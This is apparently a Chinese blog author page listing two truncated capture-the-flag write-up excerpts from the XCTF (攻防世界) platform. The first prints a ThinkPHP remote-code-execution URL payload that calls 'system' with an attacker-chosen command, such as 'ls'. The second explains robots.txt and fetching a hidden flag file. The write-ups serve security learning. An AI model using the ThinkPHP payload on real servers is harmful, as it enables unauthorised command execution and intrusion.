![](https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
攻防世界
、Ange射手
这个作者很懒,什么都没留下…
展开
-
攻防世界
php_rce远程执行的代码格式?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxxxx(命令)于是先用`?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls来查看目录发现没有f原创 2021-02-20 20:57:33 · 113 阅读 · 1 评论 -
攻防世界
Training-WWW-Robots查看网页中的Wiki百科,可以知道:总而言之,就是一个置于网站根目录下的一个文件,可以通过url访问可以看到,“/fl0g.php”是一个不可以被爬下来的文件,但是但robots.txt不是命令,也不是防火墙,就像酒店房间门上的提示牌,告诉你哪些可以访问哪些不可以,而提示牌也不能阻止盗贼的访问于是我们继续访问“/fl0g.php”文件,得到flag总结考点:这道题主要考了robots.txt的原理及其本质,也考了访问网页根目录下文件的方法...原创 2021-02-19 19:41:03 · 79 阅读 · 0 评论